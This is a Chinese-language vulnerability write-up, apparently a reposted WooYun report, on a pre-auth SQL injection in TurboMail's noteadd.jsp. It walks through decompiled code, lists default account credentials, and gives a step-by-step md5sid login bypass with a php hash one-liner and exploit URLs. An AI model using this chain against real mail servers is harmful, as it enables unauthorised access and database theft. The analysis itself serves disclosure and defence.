当前位置: 首页 > 工具软件 > TurboMail > 使用案例 >

turbomail mysql_TurboMail 前台sql注入漏洞

房唯
2023-12-01

0x1 前台注入turbomail\web\webapps\ROOT\enterprise\noteadd.jsp:

...

UserInfo userinfo = ms.userinfo;

if (userinfo == null) {

XInfo.gotoInfo(ms,request,response,"info.loginfail",null,0);

return;

}

String id = request.getParameter("id");//id参数传入,没有过滤

Note note = null;

String cmd = "add";

if(id!=null){

note = Note.findById(id); //跟进findById方法

cmd = "edit";

}

...

1

2

3

4

5

6

7

8

9

10

11

12

13

14

...

UserInfouserinfo=ms.userinfo;

if(userinfo==null){

XInfo.gotoInfo(ms,request,response,"info.loginfail",null,0);

return;

}

Stringid=request.getParameter("id");//id参数传入,没有过滤

Notenote=null;

Stringcmd="add";

if(id!=null){

note=Note.findById(id);//跟进findById方法

cmd="edit";

}

...

turbomail.jar\turbomail\note\NoteServiceImpl.class:

public Note findById(String id)

{

String sql = "select * from t_note where noteid=" + id; //拼接sql导致注入

Connection conn = null;

PreparedStatement pstmt = null;

ResultSet rs = null;

Note note = null;

try

{

conn = DB.getConnection();

pstmt = conn.prepareStatement(sql);

rs = pstmt.executeQuery(); //进入查询

...

1

2

3

4

5

6

7

8

9

10

11

12

13

publicNotefindById(Stringid)

{

Stringsql="select * from t_note where noteid="+id;//拼接sql导致注入

Connectionconn=null;

PreparedStatementpstmt=null;

ResultSetrs=null;

Notenote=null;

try

{

conn=DB.getConnection();

pstmt=conn.prepareStatement(sql);

rs=pstmt.executeQuery();//进入查询

...

0x2 默认用户登录之前TurboMail出过默认用户空密码登录的漏洞,http://**.**.**.**/bugs/wooyun-2014-058159,下载最新5.2.0 windows版本看到TurboMail给出的修补方式是禁用了这些默认账号。

mysql> select username,tpassword,enable from accountutil;

+------------+--------------------+--------+

| username | tpassword | enable |

+------------+--------------------+--------+

| nobody | bm9ib2R5NTQzMjE=3D | false |//密码为nobody54321

| postmaster | | true |

| sec_bm | | false |//空密码

| sec_sj | | false |//空密码

+------------+--------------------+--------+

4 rows in set (0.00 sec)

1

2

3

4

5

6

7

8

9

10

mysql>selectusername,tpassword,enablefromaccountutil;

+------------+--------------------+--------+

|username|tpassword|enable|

+------------+--------------------+--------+

|nobody|bm9ib2R5NTQzMjE=3D|false|//密码为nobody54321

|postmaster||true|

|sec_bm||false|//空密码

|sec_sj||false|//空密码

+------------+--------------------+--------+

4rowsinset(0.00sec)

nobody、sec_bm、sec_sj三个账号默认enbale=false,没有启用。尽管禁用了这三个账号,但还是可以利用的。系统还提供了另一种sid登录方式。turbomail.jar\turbomail\web\Login.class:

...

String md5sid = request.getParameter("md5sid");

md5sid = Util.formatRequest(md5sid, MailMain.s_os,

SysConts.New_InCharSet);...

else if (!md5sid.equals(""))

{

boolean bMD5SidAuth = MD5SidAdmin.auth(str_uid, str_domain,

md5sid);

if (bMD5SidAuth) {

userinfo = MailMain.s_auth.createUserInfo(str_uid,

str_domain);

}

}

...

1

2

3

4

5

6

7

8

9

10

11

12

13

14

...

Stringmd5sid=request.getParameter("md5sid");

md5sid=Util.formatRequest(md5sid,MailMain.s_os,

SysConts.New_InCharSet);...

elseif(!md5sid.equals(""))

{

booleanbMD5SidAuth=MD5SidAdmin.auth(str_uid,str_domain,

md5sid);

if(bMD5SidAuth){

userinfo=MailMain.s_auth.createUserInfo(str_uid,

str_domain);

}

}

...

由于该登录方式没有检查当前用户的启用状态,所以可以使用这三个账号登录前台,进而前台注入就能利用了。md5sid的生成是通过调用GetMD5Sid1方法:turbomail.jar\turbomail\auth\MD5SidAdmin.class:

public static void GetMD5Sid1(HttpServletRequest request, HttpServletResponse response)

throws ServletException, IOException

{

WebUtil.setResponseNocache(response);

response.setContentType("text/plain;charset=UTF-8");String username = request.getParameter("username");

String domain = request.getParameter("domain");String useraccount = null;

if (username == null) {

username = "";

}

if (username.indexOf("@") != -1) {

useraccount = username;

} else {

useraccount = username + "@" + domain;

}

useraccount = useraccount.toLowerCase();String strSNO = Util.getSNO();MD5SidUserAccount md5sidua = null;

synchronized (m_objLock)

{

md5sidua = (MD5SidUserAccount)m_hsMD5SidUserAccount.get(useraccount);

if (md5sidua == null)

{

UserAccount ua = UserAccountAdmin.getUserAccount(domain, username);

if (ua == null)

{

response.getWriter().write("nouser");

return;

}

String password = ua.getPassword();

if (password.startsWith("{md5}"))

{

password = password.substring(5);

}

else

{

password = Password.decode(password);

password = MD5.getHashString(password);

}

md5sidua = new MD5SidUserAccount();

md5sidua.m_strMD5Password = password;

md5sidua.m_strUserAccount = useraccount;m_hsMD5SidUserAccount.put(useraccount, md5sidua);

}

}

String snomd5password = strSNO + md5sidua.m_strMD5Password;

String strMD5Sid = MD5.getHashString(snomd5password);strMD5Sid = strMD5Sid.toLowerCase();MD5Sid md5sid = new MD5Sid();

md5sid.m_strMD5Sid = strMD5Sid;

md5sid.m_strSNO = strSNO;

if (ServerConf.i_LOG_LANGUAGE == TMConfig.LOG_LANGUAGE_CHINESE) {

MailMain.s_log.log("0", 4, 4301, "GetMD5Sid1 useraccount:" + useraccount + " strSNO:" + strSNO + " " + " strMD5Sid:" + strMD5Sid + " auth");

} else {

MailMain.s_log.log("0", 4, 4301, "获取用户的MD5,用户:" + useraccount + " 序号:" + strSNO + " " + " MD5ID串:" + strMD5Sid + " 认证"); //写入日志文件

}

md5sidua.m_hsSids.put(strMD5Sid, md5sid);response.getWriter().write(strSNO);//输出序号

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

publicstaticvoidGetMD5Sid1(HttpServletRequestrequest,HttpServletResponseresponse)

throwsServletException,IOException

{

WebUtil.setResponseNocache(response);

response.setContentType("text/plain;charset=UTF-8");Stringusername=request.getParameter("username");

Stringdomain=request.getParameter("domain");Stringuseraccount=null;

if(username==null){

username="";

}

if(username.indexOf("@")!=-1){

useraccount=username;

}else{

useraccount=username+"@"+domain;

}

useraccount=useraccount.toLowerCase();StringstrSNO=Util.getSNO();MD5SidUserAccountmd5sidua=null;

synchronized(m_objLock)

{

md5sidua=(MD5SidUserAccount)m_hsMD5SidUserAccount.get(useraccount);

if(md5sidua==null)

{

UserAccountua=UserAccountAdmin.getUserAccount(domain,username);

if(ua==null)

{

response.getWriter().write("nouser");

return;

}

Stringpassword=ua.getPassword();

if(password.startsWith("{md5}"))

{

password=password.substring(5);

}

else

{

password=Password.decode(password);

password=MD5.getHashString(password);

}

md5sidua=newMD5SidUserAccount();

md5sidua.m_strMD5Password=password;

md5sidua.m_strUserAccount=useraccount;m_hsMD5SidUserAccount.put(useraccount,md5sidua);

}

}

Stringsnomd5password=strSNO+md5sidua.m_strMD5Password;

StringstrMD5Sid=MD5.getHashString(snomd5password);strMD5Sid=strMD5Sid.toLowerCase();MD5Sidmd5sid=newMD5Sid();

md5sid.m_strMD5Sid=strMD5Sid;

md5sid.m_strSNO=strSNO;

if(ServerConf.i_LOG_LANGUAGE==TMConfig.LOG_LANGUAGE_CHINESE){

MailMain.s_log.log("0",4,4301,"GetMD5Sid1 useraccount:"+useraccount+" strSNO:"+strSNO+" "+" strMD5Sid:"+strMD5Sid+" auth");

}else{

MailMain.s_log.log("0",4,4301,"获取用户的MD5,用户:"+useraccount+" 序号:"+strSNO+" "+" MD5ID串:"+strMD5Sid+" 认证");//写入日志文件

}

md5sidua.m_hsSids.put(strMD5Sid,md5sid);response.getWriter().write(strSNO);//输出序号

}

md5sid生成方式为: md5(序号+md5(用户密码)), 而且系统也提供了调用接口,turbomail.jar\turbomail\web\MailMain.class:

...

String type = request.getParameter("type");

...

else if (type.equals("getmd5sid1"))

{

MD5SidAdmin.GetMD5Sid1(request, response);

}

...

1

2

3

4

5

6

7

8

...

Stringtype=request.getParameter("type");

...

elseif(type.equals("getmd5sid1"))

{

MD5SidAdmin.GetMD5Sid1(request,response);

}

...

利用方式:第一步访问URL:http://www.wooyun.org/mailmain?type=getmd5sid1&username=nobody&domain=root,生成md5sid并写入缓存,成功后会返回一个序号。算法已经知道了,获得序号后我们可以生成对应md5sid:

php -r "echo md5('序号'.md5('nobody54321'));"

1

php-r"echo md5('序号'.md5('nobody54321'));"

第二步使用md5sid登录(md5sid只能用一次):http://www.wooyun.org/mailmain?type=login&uid=nobody&domain=root&md5sid=生成的md5sid

 类似资料: